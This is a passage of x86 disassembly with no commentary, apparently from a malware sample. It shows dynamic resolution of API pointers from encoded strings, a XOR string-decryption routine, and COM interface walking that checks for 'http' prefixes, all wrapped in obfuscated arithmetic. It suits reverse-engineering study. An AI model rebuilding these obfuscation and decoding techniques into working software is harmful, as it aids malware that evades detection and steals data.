call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000E614h, eax
push 1001344Eh
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000F224h, eax
push 1001343Ah
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000C050h, eax
push 10013429h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000D010h, eax
push 10013412h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000E5F0h, eax
push 10013403h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000F368h, eax
push 100133F6h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000C004h, eax
push 100133E4h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011628h, eax
push 100133D3h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011650h, eax
push 100133C1h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011BA4h, eax
push 100133B2h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000F220h, eax
push 100133A5h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011620h, eax
push 10013396h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011640h, eax
push 10013388h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000C040h, eax
push 10013376h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000E0DCh, eax
push 10013366h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000C014h, eax
push 1001335Ah
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000EA40h, eax
push 1001334Eh
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011604h, eax
push 1001333Ch
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000E5F8h, eax
push 1001332Ah
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011654h, eax
push 1001331Ch
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011658h, eax
push 10013308h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1001177Ch, eax
push 100132F7h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10011638h, eax
push 100132E1h
call sub_4228CE
add esp, 68h
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1000C048h, eax
pop edi
retn
sub_41EE5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F16E proc near ; CODE XREF: .data:loc_41C666p
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
mov eax, ds:10012190h
add eax, ds:100120F8h
sub eax, 5
push eax
push 0
push 20h
push 0
call dword ptr ds:1000EA44h
lea eax, [ebp+var_10]
push eax
call dword ptr ds:1000F25Ch
mov eax, ds:100120A0h
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_8]
mov ebx, ds:1001209Ch
add ebx, 34h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_A]
mov ebx, ds:10012158h
add ebx, 18h
add ebx, ds:10012188h
imul ecx, ebx
mov ebx, ds:10012134h
add ebx, 39h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_E]
mov ebx, ds:100120A0h
add ebx, 1Ah
imul ecx, ebx
mov ebx, ds:100120D4h
add ebx, 16h
add ebx, ds:100120C0h
imul ecx, ebx
movsx ebx, word ptr ds:10012100h
movsx esi, word ptr ds:10012194h
lea ebx, [ebx+esi+33h]
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_10]
movsx ebx, word ptr ds:10012154h
add ebx, 4
imul ecx, ebx
mov ebx, ds:10012094h
add ebx, 16h
add ebx, ds:100120A4h
imul ecx, ebx
movsx ebx, word ptr ds:1001219Ch
lea eax, [ebx+eax+0Eh]
imul ecx, eax
mov eax, ds:100120CCh
add eax, 36h
movsx ebx, word ptr ds:10012150h
add eax, ebx
imul ecx, eax
mov eax, edx
add eax, ecx
mov ds:1000C024h, eax
mov eax, ds:10012108h
inc eax
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_41DEB9
add esp, 144h
pop edi
pop esi
pop ebx
leave
retn
sub_41F16E endp
; ---------------------------------------------------------------------------
db 0B8h, 1, 40h
dd 18C28000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F2AD proc near ; CODE XREF: .data:00422784p
var_100B = byte ptr -100Bh
var_1005 = byte ptr -1005h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_424F4D
push ebx
push esi
push edi
push 100132CFh
call sub_4228CE
pop ecx
push 0
push eax
push 0
push [ebp+arg_0]
call dword ptr ds:10011638h
mov edi, eax
or edi, edi
jnz short loc_41F2DF
mov edi, [ebp+arg_0]
loc_41F2DF: ; CODE XREF: sub_41F2AD+2Dj
push 100132B9h
call sub_4228CE
pop ecx
push 0
push eax
push 0
push edi
call dword ptr ds:10011638h
mov edi, eax
lea eax, [ebp+var_FFF]
push eax
push 0FFFh
push 0Dh
push edi
call dword ptr ds:1000C014h
movsx eax, word ptr ds:100120D0h
cmp [ebp+eax+var_FFF], 20h
jnz short loc_41F33A
mov eax, ds:100121ACh
movsx edx, word ptr ds:100120BCh
add eax, edx
cmp [ebp+eax+var_100B], 20h
jz loc_41F3DF
loc_41F33A: ; CODE XREF: sub_41F2AD+6Fj
mov eax, ds:1001217Ch
cmp [ebp+eax+var_1005], 68h
jnz short loc_41F364
movsx eax, word ptr ds:10012128h
mov edx, ds:10012158h
lea eax, [eax+edx+1]
cmp [ebp+eax+var_FFF], 74h
jz short loc_41F3DF
loc_41F364: ; CODE XREF: sub_41F2AD+9Aj
lea ecx, [ebp+var_FFF]
or eax, 0FFFFFFFFh
loc_41F36D: ; CODE XREF: sub_41F2AD+C5j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41F36D
mov ebx, ds:1001212Ch
add ebx, 8
movsx edx, word ptr ds:10012128h
add ebx, edx
cmp eax, ebx
jb short loc_41F3DF
push 100132B4h
call sub_4228CE
movsx esi, word ptr ds:10012114h
add esi, 2
push esi
push eax
lea esi, [ebp+var_FFF]
push esi
call sub_41DB51
add esp, 10h
movsx ebx, word ptr ds:10012150h
add ebx, 0FFFAh
cmp eax, ebx
jnz short loc_41F3DF
push 100132AEh
call sub_4228CE
pop ecx
push eax
mov esi, ds:100120C4h
sub esi, 4
push esi
push 0Ch
push edi
call dword ptr ds:1000C014h
loc_41F3DF: ; CODE XREF: sub_41F2AD+87j
; sub_41F2AD+B5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F2AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3E4 proc near ; CODE XREF: sub_41BB8D+1Bp
; sub_41DCB0+1A4p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword ptr ds:100121D0h, 0
jnz short loc_41F40C
push 10011BC0h
call dword ptr ds:1000D008h
mov dword ptr ds:100121D0h, 1
loc_41F40C: ; CODE XREF: sub_41F3E4+11j
mov esi, ds:10012134h
add esi, 3
movsx ebx, word ptr ds:100121A8h
add esi, ebx
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+2]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
mov edx, ds:10012158h
add edx, 2
imul ebx, edx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, ds:100120A4h
add edx, 4
cmp eax, edx
jz loc_41F4EF
push 10011BC0h
call dword ptr ds:1001165Ch
movsx eax, word ptr ds:10012154h
sub eax, 2
mov [ebp+var_2], ax
jmp short loc_41F49C
; ---------------------------------------------------------------------------
loc_41F472: ; CODE XREF: sub_41F3E4+C2j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+4]
xor edx, ecx
mov [eax], dl
movzx eax, [ebp+var_2]
mov edx, ds:100120ECh
add edx, ds:100121B0h
sub edx, 3
add eax, edx
mov [ebp+var_2], ax
loc_41F49C: ; CODE XREF: sub_41F3E4+8Cj
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_41F472
movsx eax, word ptr ds:100120D8h
movsx edx, word ptr ds:1001216Ch
add eax, edx
sub eax, 9
movsx edx, word ptr ds:10012148h
sub edx, 3
mov [edi+eax], dl
movsx eax, word ptr ds:10012150h
add eax, ds:100120FCh
sub eax, 0Ah
mov edx, ds:100121B8h
sub edx, 3
mov [edi+eax], dl
push 10011BC0h
call dword ptr ds:1001064Ch
loc_41F4EF: ; CODE XREF: sub_41F3E4+6Dj
lea eax, [edi+6]
pop edi
pop esi
pop ebx
leave
retn
sub_41F3E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F4F7 proc near ; CODE XREF: .data:004229D5p
var_71F0E = byte ptr -71F0Eh
var_71F0C = dword ptr -71F0Ch
var_71F07 = byte ptr -71F07h
var_70F08 = word ptr -70F08h
var_70F00 = dword ptr -70F00h
var_70EF8 = dword ptr -70EF8h
var_70EF4 = dword ptr -70EF4h
var_70EEF = byte ptr -70EEFh
var_60EF0 = word ptr -60EF0h
var_60EE8 = dword ptr -60EE8h
var_60EDD = byte ptr -60EDDh
var_60EDC = dword ptr -60EDCh
var_60ED8 = dword ptr -60ED8h
var_60ED4 = dword ptr -60ED4h
var_60ED0 = word ptr -60ED0h
var_60EC8 = dword ptr -60EC8h
var_60EC0 = dword ptr -60EC0h
var_60EBC = dword ptr -60EBCh
var_60EB8 = dword ptr -60EB8h
var_60EB4 = dword ptr -60EB4h
var_60EB0 = dword ptr -60EB0h
var_60EAC = dword ptr -60EACh
var_60EA8 = dword ptr -60EA8h
var_60EA4 = dword ptr -60EA4h
var_60E9F = byte ptr -60E9Fh
var_50EA3 = byte ptr -50EA3h
var_50EA0 = dword ptr -50EA0h
var_50E9B = byte ptr -50E9Bh
var_40EB8 = byte ptr -40EB8h
var_40EB0 = dword ptr -40EB0h
var_40EA8 = word ptr -40EA8h
var_40EA0 = dword ptr -40EA0h
var_40E9C = dword ptr -40E9Ch
var_40E98 = dword ptr -40E98h
var_40E94 = byte ptr -40E94h
var_40E90 = dword ptr -40E90h
var_40E8C = dword ptr -40E8Ch
var_40E88 = dword ptr -40E88h
var_40E84 = dword ptr -40E84h
var_40E80 = byte ptr -40E80h
var_40E78 = dword ptr -40E78h
var_40E70 = dword ptr -40E70h
var_40E6C = dword ptr -40E6Ch
var_40E68 = dword ptr -40E68h
var_40E64 = dword ptr -40E64h
var_40E60 = dword ptr -40E60h
var_40E5C = dword ptr -40E5Ch
var_40E57 = byte ptr -40E57h
var_40E56 = byte ptr -40E56h
var_40E55 = byte ptr -40E55h
var_40E54 = byte ptr -40E54h
var_30E58 = dword ptr -30E58h
var_30E54 = dword ptr -30E54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30D40 = byte ptr -30D40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 71F10h
call sub_424F4D
push ebx
push esi
push edi
lea eax, [ebp+var_40E80]
push eax
call dword ptr ds:1000C038h
lea eax, [ebp+var_40E94]
push eax
lea eax, [ebp+var_40E80]
push eax
push 9
mov eax, ds:1001215Ch
movsx edx, word ptr ds:1001216Ch
add eax, edx
sub eax, 8
push eax
push [ebp+arg_0]
call dword ptr ds:1000F254h
mov ebx, eax
movsx eax, word ptr ds:100120E0h
cmp ebx, eax
jnz loc_4202B9
mov eax, [ebp+var_40E78]
mov [ebp+var_40E64], eax
and [ebp+var_40E60], 0
lea eax, [ebp+var_40E60]
push eax
push 1001397Ch
mov eax, [ebp+var_40E64]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10012150h
sub eax, 5
cmp ebx, eax
jnz loc_4202B9
lea eax, [ebp+var_40E84]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
mov eax, ds:10012124h
dec eax
cmp ebx, eax
jnz loc_4202AD
lea eax, [ebp+var_40E57]
push eax
push [ebp+var_40E84]
call sub_41ADCD
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_40E98], edi
push [ebp+var_40E84]
call dword ptr ds:10011BA0h
cmp [ebp+var_40E57], 68h
jnz short loc_41F604
cmp [ebp+var_40E56], 74h
jnz short loc_41F604
cmp [ebp+var_40E55], 74h
jnz short loc_41F604
cmp [ebp+var_40E54], 70h
jz short loc_41F609
loc_41F604: ; CODE XREF: sub_41F4F7+F0j
; sub_41F4F7+F9j ...
jmp loc_4202AD
; ---------------------------------------------------------------------------
loc_41F609: ; CODE XREF: sub_41F4F7+10Bj
lea eax, [ebp+var_30E4C]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
movsx eax, word ptr ds:10012114h
sub eax, 2
cmp ebx, eax
jz short loc_41F636
and [ebp+var_30E4C], 0
loc_41F636: ; CODE XREF: sub_41F4F7+136j
lea eax, [ebp+var_40E68]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
mov eax, ds:10012138h
movsx edx, word ptr ds:10012150h
add eax, edx
sub eax, 0Dh
cmp ebx, eax
jnz loc_4202AD
lea eax, [ebp+var_40E6C]
push eax
push 100138FCh
mov eax, [ebp+var_40E68]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:100121C8h
sub eax, 2
cmp ebx, eax
jnz loc_4202A1
lea eax, [ebp+var_40E70]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
mov eax, ds:100120C4h
sub eax, 4
cmp ebx, eax
jnz loc_420295
lea eax, [ebp+var_40E90]
push eax
mov eax, [ebp+var_40E70]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, ds:100121CCh
add eax, ds:1001214Ch
sub eax, 0Ah
cmp ebx, eax
jnz loc_420289
mov eax, ds:10012118h
add eax, ds:100121CCh
sub eax, 4
neg eax
mov [ebp+var_40E5C], eax
push 1001329Ch
call sub_41F3E4
push eax
call dword ptr ds:1000C044h
mov [ebp+var_30E44], eax
push 1001328Ch
call sub_41F3E4
add esp, 8
push eax
call dword ptr ds:1000C044h
mov [ebp+var_30E48], eax
lea eax, [ebp+var_40E57]
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_424F6D
loc_41F73C: ; CODE XREF: sub_41F4F7+D66j
and [ebp+var_40E88], 0
and [ebp+var_40E8C], 0
movsx eax, word ptr ds:10012194h
add eax, ds:100120CCh
neg eax
cmp [ebp+var_40E5C], eax
jnz short loc_41F7AF
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, ds:100120E4h
movsx edx, word ptr ds:10012148h
add eax, edx
sub eax, 5
cmp ebx, eax
jnz loc_42024B
push 1001327Dh
call sub_4228CE
push eax
lea edi, [ebp+var_30D40]
push edi
call dword ptr ds:1000C020h
add esp, 0Ch
jmp loc_41F8D5
; ---------------------------------------------------------------------------
loc_41F7AF: ; CODE XREF: sub_41F4F7+268j
mov [ebp+var_40EA8], 17h
mov eax, [ebp+var_40E5C]
mov [ebp+var_40EA0], eax
lea eax, [ebp+var_40EB8]
push eax
lea eax, [ebp+var_40EA8]
push eax
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
lea eax, [ebp+var_40E88]
push eax
push 1001394Ch
push [ebp+var_40EB0]
mov edi, [ebp+var_40EB0]
mov edi, [edi]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10012150h
movsx edx, word ptr ds:10012110h
add eax, edx
sub eax, 9
cmp ebx, eax
jnz loc_42024B
lea eax, [ebp+var_40E8C]
push eax
mov eax, [ebp+var_40E88]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
mov eax, ds:100121B8h
add eax, ds:10012138h
sub eax, 0Bh
cmp ebx, eax
jz short loc_41F857
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_42024B
; ---------------------------------------------------------------------------
loc_41F857: ; CODE XREF: sub_41F4F7+34Dj
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E8C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
movsx eax, word ptr ds:10012194h
movsx edx, word ptr ds:100120B0h
add eax, edx
sub eax, 8
cmp ebx, eax
jz short loc_41F8A0
mov eax, [ebp+var_40E8C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_42024B
; ---------------------------------------------------------------------------
loc_41F8A0: ; CODE XREF: sub_41F4F7+38Aj
push 1001326Eh
call sub_4228CE
push [ebp+var_40E5C]
push eax
lea edi, [ebp+var_30E3F]
push edi
call dword ptr ds:10011634h
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000C020h
add esp, 18h
loc_41F8D5: ; CODE XREF: sub_41F4F7+2B3j
lea eax, [ebp+var_30E58]
push eax
mov eax, [ebp+var_30E54]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, ds:100120B8h
add eax, ds:1001215Ch
sub eax, 8
cmp ebx, eax
jnz loc_42024B
movsx eax, word ptr ds:100120C8h
sub eax, 7
mov [ebp+var_30E50], eax
jmp loc_420239
; ---------------------------------------------------------------------------
loc_41F915: ; CODE XREF: sub_41F4F7+D4Ej
mov [ebp+var_60ED0], 2
mov eax, [ebp+var_30E50]
mov [ebp+var_60EC8], eax
movsx eax, word ptr ds:100120B0h
mov edx, ds:10012198h
sub edx, 8
mov [ebp+eax+var_50EA3], dl
lea eax, [ebp+var_60EC0]
push eax
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_30E54]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, ds:10012108h
add eax, ds:10012094h
sub eax, 6
cmp ebx, eax
jnz loc_420233
push 10013260h
call sub_4228CE
push [ebp+var_30E50]
push eax
lea edi, [ebp+var_30E3F]
push edi
call dword ptr ds:10011634h
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000C020h
add esp, 18h
and [ebp+var_60ED4], 0
lea eax, [ebp+var_60ED4]
push eax
push 1001390Ch
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:100121A0h
sub eax, 6
cmp ebx, eax
jnz loc_41FEB7
lea eax, [ebp+var_60ED8]
push eax
mov eax, [ebp+var_60ED4]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
mov eax, ds:100120A4h
add eax, ds:100120F0h
sub eax, 6
cmp ebx, eax
jnz loc_41FEAB
lea eax, [ebp+var_60E9F]
push eax
push [ebp+var_60ED8]
call sub_41ADCD
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_60EB8], edi
push [ebp+var_60ED8]
call dword ptr ds:10011BA0h
mov eax, ds:1001214Ch
movsx edx, word ptr ds:100121A8h
add eax, edx
sub eax, 6
mov [ebp+var_40E9C], eax
jmp short loc_41FABF
; ---------------------------------------------------------------------------
loc_41FA6B: ; CODE XREF: sub_41F4F7+5D4j
mov eax, [ebp+var_40E9C]
movsx eax, [ebp+eax+var_60E9F]
mov edx, ds:100120A0h
add edx, 6
movsx ecx, word ptr ds:10012148h
add edx, ecx
cmp eax, edx
jz short loc_41FAA2
mov edx, ds:10012108h
add edx, 0Ah
add edx, ds:100121A4h
cmp eax, edx
jnz short loc_41FAB9
loc_41FAA2: ; CODE XREF: sub_41F4F7+596j
mov eax, [ebp+var_40E9C]
movsx edx, word ptr ds:100120F4h
sub edx, 9
mov [ebp+eax+var_60E9F], dl
loc_41FAB9: ; CODE XREF: sub_41F4F7+5A9j
inc [ebp+var_40E9C]
loc_41FABF: ; CODE XREF: sub_41F4F7+572j
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb short loc_41FA6B
lea eax, [ebp+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_424F6D
mov eax, ds:100120F0h
add eax, ds:10012130h
sub eax, 4
mov [ebp+var_40E9C], eax
loc_41FAF4: ; CODE XREF: sub_41F4F7+737j
mov eax, [ebp+var_40E9C]
lea ecx, [ebp+eax+var_60E9F]
or eax, 0FFFFFFFFh
loc_41FB04: ; CODE XREF: sub_41F4F7+612j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41FB04
mov [ebp+var_60EA8], eax
mov edx, ds:100120FCh
sub edx, 7
cmp eax, edx
jz short loc_41FB34
mov edx, ds:10012094h
add edx, 0BFh
add edx, ds:100120A8h
cmp eax, edx
jbe short loc_41FB39
loc_41FB34: ; CODE XREF: sub_41F4F7+625j
jmp loc_41FC0B
; ---------------------------------------------------------------------------
loc_41FB39: ; CODE XREF: sub_41F4F7+63Bj
mov eax, ds:100120ECh
add eax, ds:10012098h
sub eax, 0Ch
mov [ebp+var_60EA4], eax
jmp short loc_41FB7C
; ---------------------------------------------------------------------------
loc_41FB4F: ; CODE XREF: sub_41F4F7+691j
mov eax, [ebp+var_40E9C]
add eax, [ebp+var_60EA4]
movsx eax, [ebp+eax+var_60E9F]
mov edx, ds:100121C4h
add edx, 19h
add edx, ds:100120E4h
cmp eax, edx
jnz short loc_41FB8A
inc [ebp+var_60EA4]
loc_41FB7C: ; CODE XREF: sub_41F4F7+656j
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jb short loc_41FB4F
loc_41FB8A: ; CODE XREF: sub_41F4F7+67Dj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jz short loc_41FC0B
push dword ptr ds:100120CCh
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_41DB51
add esp, 0Ch
mov [ebp+var_60EDC], eax
movsx eax, word ptr ds:10012128h
add eax, 0FFFFh
cmp [ebp+var_60EDC], eax
jnz short loc_41FC0B
push 1001325Bh
call sub_4228CE
push eax
lea edi, [ebp+var_50E9B]
push edi
call dword ptr ds:1000C020h
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call dword ptr ds:1000C020h
add esp, 14h
loc_41FC0B: ; CODE XREF: sub_41F4F7:loc_41FB34j
; sub_41F4F7+69Fj ...
mov eax, [ebp+var_60EA8]
mov edx, ds:100120FCh
sub edx, 6
add eax, edx
add [ebp+var_40E9C], eax
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb loc_41FAF4
movsx eax, word ptr ds:10012100h
add eax, ds:100121B4h
sub eax, 0Ah
mov [ebp+var_60EB4], eax
lea ecx, [ebp+var_50E9B]
or eax, 0FFFFFFFFh
loc_41FC53: ; CODE XREF: sub_41F4F7+761j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41FC53
mov [ebp+var_60EA8], eax
mov eax, ds:100121C8h
add eax, ds:10012164h
sub eax, 2
mov [ebp+var_40E9C], eax
jmp loc_41FE83
; ---------------------------------------------------------------------------
loc_41FC79: ; CODE XREF: sub_41F4F7+998j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, ds:1001217Ch
add edx, 1Ah
cmp eax, edx
jz short loc_41FC9B
and [ebp+var_60EAC], 0
loc_41FC9B: ; CODE XREF: sub_41F4F7+79Bj
mov eax, ds:1001215Ch
mov edx, [ebp+var_40E9C]
movzx edx, [ebp+edx+var_50E9B]
lea eax, [eax+eax+18h]
cmp edx, eax
jnz loc_41FE2E
mov eax, ds:10012130h
add eax, ds:100120E4h
sub eax, 2
cmp [ebp+var_40E9C], eax
jbe loc_41FD8A
mov eax, [ebp+var_40E9C]
movsx edx, word ptr ds:100120B0h
movsx ecx, word ptr ds:10012170h
add edx, ecx
sub edx, 0Fh
sub eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, ds:100120FCh
add edx, 13h
movsx ecx, word ptr ds:100120DCh
add edx, ecx
cmp eax, edx
jle short loc_41FD2C
mov edx, ds:10012140h
add edx, 24h
add edx, ds:100121ACh
cmp eax, edx
jl short loc_41FD80
loc_41FD2C: ; CODE XREF: sub_41F4F7+820j
movzx eax, [ebp+var_60EDD]
mov edx, ds:1001217Ch
add edx, 30h
movsx ecx, word ptr ds:10012148h
add edx, ecx
cmp eax, edx
jle short loc_41FD5E
movsx edx, word ptr ds:100121BCh
mov ecx, ds:100121B0h
lea edx, [edx+ecx+3Bh]
cmp eax, edx
jl short loc_41FD80
loc_41FD5E: ; CODE XREF: sub_41F4F7+850j
movzx eax, [ebp+var_60EDD]
mov edx, ds:100121C0h
add edx, 77h
cmp eax, edx
jle short loc_41FD8A
movsx edx, word ptr ds:10012148h
add edx, 7Ch
cmp eax, edx
jge short loc_41FD8A
loc_41FD80: ; CODE XREF: sub_41F4F7+833j
; sub_41F4F7+865j
mov [ebp+var_60EAC], 1
loc_41FD8A: ; CODE XREF: sub_41F4F7+7D7j
; sub_41F4F7+879j ...
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jnb loc_41FE2E
mov eax, [ebp+var_40E9C]
mov edx, ds:10012104h
sub edx, 2
add eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
movsx edx, word ptr ds:10012100h
add edx, 17h
cmp eax, edx
jle short loc_41FDDC
mov edx, ds:100121B8h
add edx, 2Dh
cmp eax, edx
jl short loc_41FE24
loc_41FDDC: ; CODE XREF: sub_41F4F7+8D6j
movzx eax, [ebp+var_60EDD]
mov edx, ds:100120F8h
add edx, 37h
cmp eax, edx
jle short loc_41FDFD
mov edx, ds:100120A4h
add edx, 3Fh
cmp eax, edx
jl short loc_41FE24
loc_41FDFD: ; CODE XREF: sub_41F4F7+8F7j
movzx eax, [ebp+var_60EDD]
mov edx, ds:100121B4h
add edx, 75h
add edx, ds:100120F0h
cmp eax, edx
jle short loc_41FE2E
mov edx, ds:1001215Ch
add edx, 7Bh
cmp eax, edx
jge short loc_41FE2E
loc_41FE24: ; CODE XREF: sub_41F4F7+8E3j
; sub_41F4F7+904j
mov [ebp+var_60EAC], 1
loc_41FE2E: ; CODE XREF: sub_41F4F7+7BDj
; sub_41F4F7+89Fj ...
cmp [ebp+var_60EAC], 0
jnz short loc_41FE57
mov eax, [ebp+var_60EB4]
mov edx, [ebp+var_40E9C]
mov dl, [ebp+edx+var_50E9B]
mov [ebp+eax+var_50E9B], dl
inc [ebp+var_60EB4]
loc_41FE57: ; CODE XREF: sub_41F4F7+93Ej
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
movsx edx, word ptr ds:100120D8h
add edx, 1Bh
cmp eax, edx
jnz short loc_41FE7D
mov [ebp+var_60EAC], 1
loc_41FE7D: ; CODE XREF: sub_41F4F7+97Aj
inc [ebp+var_40E9C]
loc_41FE83: ; CODE XREF: sub_41F4F7+77Dj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jb loc_41FC79
mov eax, [ebp+var_60EB4]
mov edx, ds:10012190h
sub edx, 3
mov [ebp+eax+var_50E9B], dl
loc_41FEAB: ; CODE XREF: sub_41F4F7+52Bj
mov eax, [ebp+var_60ED4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41FEB7: ; CODE XREF: sub_41F4F7+4FDj
and [ebp+var_60EB0], 0
lea eax, [ebp+var_60EB0]
push eax
push 1001392Ch
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
